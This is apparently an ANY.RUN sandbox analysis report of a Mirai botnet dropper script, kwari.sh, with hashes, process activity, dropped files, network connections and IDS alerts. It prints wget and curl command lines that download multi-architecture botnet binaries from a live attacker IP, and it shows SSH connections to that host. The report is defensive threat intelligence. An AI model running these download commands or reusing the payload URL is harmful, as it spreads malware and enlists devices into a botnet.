File name:

kwari.sh

Full analysis: https://app.any.run/tasks/c7b27d4e-0cd5-4056-8e04-624450b0ec2f
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Analysis date: May 16, 2025, 10:16:49
OS: Ubuntu 22.04.2
Tags:
mirai
botnet
Indicators:
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

3F61099DF606943550B19DCAA8DE6AB7

SHA1:

1F6753B09E2B09CCCB681B595BE4703151EFE128

SHA256:

BCE129C6E6883E5F30964A8B78F9A204C443A091E249596C141F94B3BECE9133

SSDEEP:

48:vzzeUzmuUzMUoKWUzvNlAUzUyUzlsUzK6Uz8/8JUz/QUzY6n:vzzeUzmuUzP5WUzvvAUzUyUzlsUzK6Uq

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • SSH (PID: 41077)
      • SSH (PID: 41081)
      • SSH (PID: 41076)
      • SSH (PID: 41074)
      • SSH (PID: 41078)
      • SSH (PID: 41080)
      • SSH (PID: 41075)
      • SSH (PID: 41109)
    • MIRAI has been detected (SURICATA)

      • wget (PID: 41079)
  • SUSPICIOUS

    • Uses wget to download content

      • bash (PID: 41030)
    • Executes commands using command-line interpreter

      • sudo (PID: 41029)
    • Check the Environment Variables Related to System Identification (os-release)

      • curl (PID: 41033)
      • curl (PID: 41082)
      • curl (PID: 41117)
      • curl (PID: 41156)
      • curl (PID: 41192)
      • curl (PID: 41228)
      • curl (PID: 41268)
      • curl (PID: 41307)
      • curl (PID: 41342)
      • curl (PID: 41380)
    • Reads passwd file

      • dumpe2fs (PID: 41063)
      • dumpe2fs (PID: 41056)
      • curl (PID: 41082)
      • curl (PID: 41033)
      • curl (PID: 41117)
      • curl (PID: 41156)
      • curl (PID: 41192)
      • curl (PID: 41228)
      • curl (PID: 41307)
      • curl (PID: 41342)
      • curl (PID: 41380)
      • curl (PID: 41268)
    • Modifies file or directory owner

      • sudo (PID: 41026)
    • Potential Corporate Privacy Violation

      • wget (PID: 41032)
      • curl (PID: 41033)
      • curl (PID: 41082)
      • wget (PID: 41079)
      • curl (PID: 41117)
      • wget (PID: 41116)
      • curl (PID: 41228)
      • wget (PID: 41226)
      • wget (PID: 41188)
      • curl (PID: 41192)
      • curl (PID: 41268)
      • curl (PID: 41307)
      • wget (PID: 41341)
      • curl (PID: 41342)
      • curl (PID: 41380)
      • wget (PID: 41378)
      • wget (PID: 41259)
      • wget (PID: 41304)
    • Connects to unusual port

      • SSH (PID: 41076)
      • SSH (PID: 41111)
      • SSH (PID: 41150)
      • SSH (PID: 41186)
      • SSH (PID: 41222)
      • SSH (PID: 41301)
      • SSH (PID: 41336)
      • SSH (PID: 41374)
      • SSH (PID: 41409)
      • SSH (PID: 41256)
    • Connects to the server without a host name

      • curl (PID: 41117)
      • wget (PID: 41116)
      • curl (PID: 41156)
      • wget (PID: 41151)
      • wget (PID: 41188)
      • wget (PID: 41226)
      • curl (PID: 41228)
      • curl (PID: 41192)
      • wget (PID: 41259)
      • curl (PID: 41268)
      • curl (PID: 41307)
      • wget (PID: 41304)
      • wget (PID: 41341)
      • curl (PID: 41342)
      • curl (PID: 41380)
      • wget (PID: 41378)
  • INFO

    • Creates file in the temporary folder

      • wget (PID: 41032)
      • wget (PID: 41079)
      • bash (PID: 41107)
      • curl (PID: 41082)
      • curl (PID: 41033)
      • cat (PID: 41072)
      • wget (PID: 41116)
      • curl (PID: 41117)
      • bash (PID: 41142)
      • curl (PID: 41156)
      • bash (PID: 41182)
      • wget (PID: 41188)
      • curl (PID: 41192)
      • bash (PID: 41217)
      • wget (PID: 41226)
      • curl (PID: 41228)
      • bash (PID: 41252)
      • curl (PID: 41268)
      • bash (PID: 41296)
      • wget (PID: 41304)
      • curl (PID: 41307)
      • bash (PID: 41331)
      • wget (PID: 41341)
      • curl (PID: 41342)
      • bash (PID: 41370)
      • wget (PID: 41378)
      • curl (PID: 41380)
      • bash (PID: 41405)
      • wget (PID: 41259)
    • Checks timezone

      • wget (PID: 41032)
      • dumpe2fs (PID: 41063)
      • dumpe2fs (PID: 41056)
      • wget (PID: 41079)
      • wget (PID: 41116)
      • wget (PID: 41151)
      • wget (PID: 41188)
      • wget (PID: 41226)
      • wget (PID: 41259)
      • wget (PID: 41304)
      • wget (PID: 41341)
      • wget (PID: 41378)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
287
Monitored processes
159
Malicious processes
4
Suspicious processes
17

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget curl snap-seccomp no specs snap-confine no specs dumpe2fs no specs snap-update-ns no specs dumpe2fs no specs systemctl no specs systemctl no specs systemctl no specs cat no specs chmod no specs ssh no specs ssh no specs ssh #MIRAI wget curl ssh no specs ssh no specs ssh no specs ssh no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs ssh no specs ssh ssh no specs ssh no specs ssh no specs ssh no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs cron no specs dash no specs run-parts no specs ssh no specs ssh no specs ssh wget ssh no specs ssh no specs ssh no specs ssh no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs ssh no specs ssh wget ssh no specs ssh no specs ssh no specs ssh no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs ssh no specs ssh no specs ssh ssh no specs ssh no specs ssh no specs wget ssh no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs ssh no specs ssh ssh no specs ssh no specs wget ssh no specs ssh no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs ssh no specs ssh no specs ssh wget ssh no specs ssh no specs ssh no specs ssh no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs ssh no specs ssh no specs ssh ssh no specs ssh no specs ssh no specs ssh no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs ssh no specs ssh ssh no specs ssh no specs ssh no specs wget ssh no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs ssh no specs ssh no specs ssh ssh no specs ssh no specs ssh no specs ssh no specs

Process information

PID
CMD
Path
Indicators
Parent process
41025/bin/sh -c "sudo chown user /tmp/kwari\.sh && chmod +x /tmp/kwari\.sh && DISPLAY=:0 sudo -iu user /tmp/kwari\.sh "/usr/bin/dashIntiFjKCklFyPMJr
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41026sudo chown user /tmp/kwari.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41027chown user /tmp/kwari.sh/usr/bin/chownsudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41028chmod +x /tmp/kwari.sh/usr/bin/chmoddash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41029sudo -iu user /tmp/kwari.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41030/bin/bash /tmp/kwari.sh/usr/bin/bashsudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
41031/usr/bin/locale-check C.UTF-8/usr/bin/locale-checkbash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41032wget http://92.112.125.62/bins/kwari.x86/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
41033/snap/curl/1754/bin/curl -O http://92.112.125.62/bins/kwari.x86/snap/curl/1754/bin/curl
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpthread.so.0
/usr/lib/x86_64-linux-gnu/libudev.so.1.7.2
/usr/lib/x86_64-linux-gnu/libdl.so.2
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/snap/curl/1754/lib/libcurl.so.4.8.0
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libnghttp2.so.14.19.0
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.6
41047/snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info/snap/snapd/20290/usr/lib/snapd/snap-seccompcurl
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpthread.so.0
/usr/lib/x86_64-linux-gnu/libc.so.6
Executable files
0
Suspicious files
10
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
41032wget/tmp/kwari.x86binary
MD5:
SHA256:
41072cat/tmp/SSHbinary
MD5:
SHA256:
41079wget/tmp/kwari.mipsbinary
MD5:
SHA256:
41116wget/tmp/kwari.mpslbinary
MD5:
SHA256:
41188wget/tmp/kwari.arm5binary
MD5:
SHA256:
41226wget/tmp/kwari.arm6binary
MD5:
SHA256:
41259wget/tmp/kwari.arm7binary
MD5:
SHA256:
41304wget/tmp/kwari.ppcbinary
MD5:
SHA256:
41341wget/tmp/kwari.m68ko
MD5:
SHA256:
41378wget/tmp/kwari.sh4binary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
22
TCP/UDP connections
56
DNS requests
11
Threats
51

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
204
91.189.91.96:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
GET
204
91.189.91.96:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
41032
wget
GET
200
92.112.125.62:80
http://92.112.125.62/bins/kwari.x86
unknown
unknown
41033
curl
GET
200
92.112.125.62:80
http://92.112.125.62/bins/kwari.x86
unknown
unknown
41082
curl
GET
200
92.112.125.62:80
http://92.112.125.62/bins/kwari.mips
unknown
unknown
41079
wget
GET
200
92.112.125.62:80
http://92.112.125.62/bins/kwari.mips
unknown
unknown
41116
wget
GET
200
92.112.125.62:80
http://92.112.125.62/bins/kwari.mpsl
unknown
unknown
41151
wget
GET
404
92.112.125.62:80
http://92.112.125.62/bins/kwari.arm4
unknown
unknown
41226
wget
GET
200
92.112.125.62:80
http://92.112.125.62/bins/kwari.arm6
unknown
unknown
41228
curl
GET
200
92.112.125.62:80
http://92.112.125.62/bins/kwari.arm6
unknown
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
unknown
91.189.91.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
unknown
1178
snap-store
207.211.211.27:443
odrs.gnome.org
US
whitelisted
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
41032
wget
92.112.125.62:80
PJSC Ukrtelecom
UA
unknown
512
snapd
185.125.188.57:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
41033
curl
92.112.125.62:80
PJSC Ukrtelecom
UA
unknown
41076
SSH
92.112.125.62:2310
PJSC Ukrtelecom
UA
unknown
41079
wget
92.112.125.62:80
PJSC Ukrtelecom
UA
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.96
  • 91.189.91.98
  • 185.125.190.48
  • 185.125.190.49
  • 91.189.91.49
  • 91.189.91.48
  • 185.125.190.98
  • 185.125.190.18
  • 185.125.190.97
  • 185.125.190.17
  • 185.125.190.96
  • 2620:2d:4000:1::97
  • 2001:67c:1562::24
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::22
  • 2620:2d:4002:1::196
  • 2001:67c:1562::23
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::2a
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::2b
whitelisted
google.com
  • 142.250.181.238
  • 2a00:1450:4001:82a::200e
whitelisted
odrs.gnome.org
  • 207.211.211.27
  • 169.150.255.183
  • 169.150.255.181
  • 37.19.194.81
  • 195.181.170.18
  • 195.181.175.41
  • 212.102.56.178
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::18
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.57
  • 185.125.188.59
  • 185.125.188.54
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::344
whitelisted
6.100.168.192.in-addr.arpa
unknown

Threats

PID
Process
Class
Message
41032
wget
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
41032
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
41032
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41033
curl
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
41033
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41033
curl
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
41079
wget
A Network Trojan was detected
AV INFO Possible Mirai .mips Executable Download
41082
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41033
curl
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
41079
wget
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
No debug info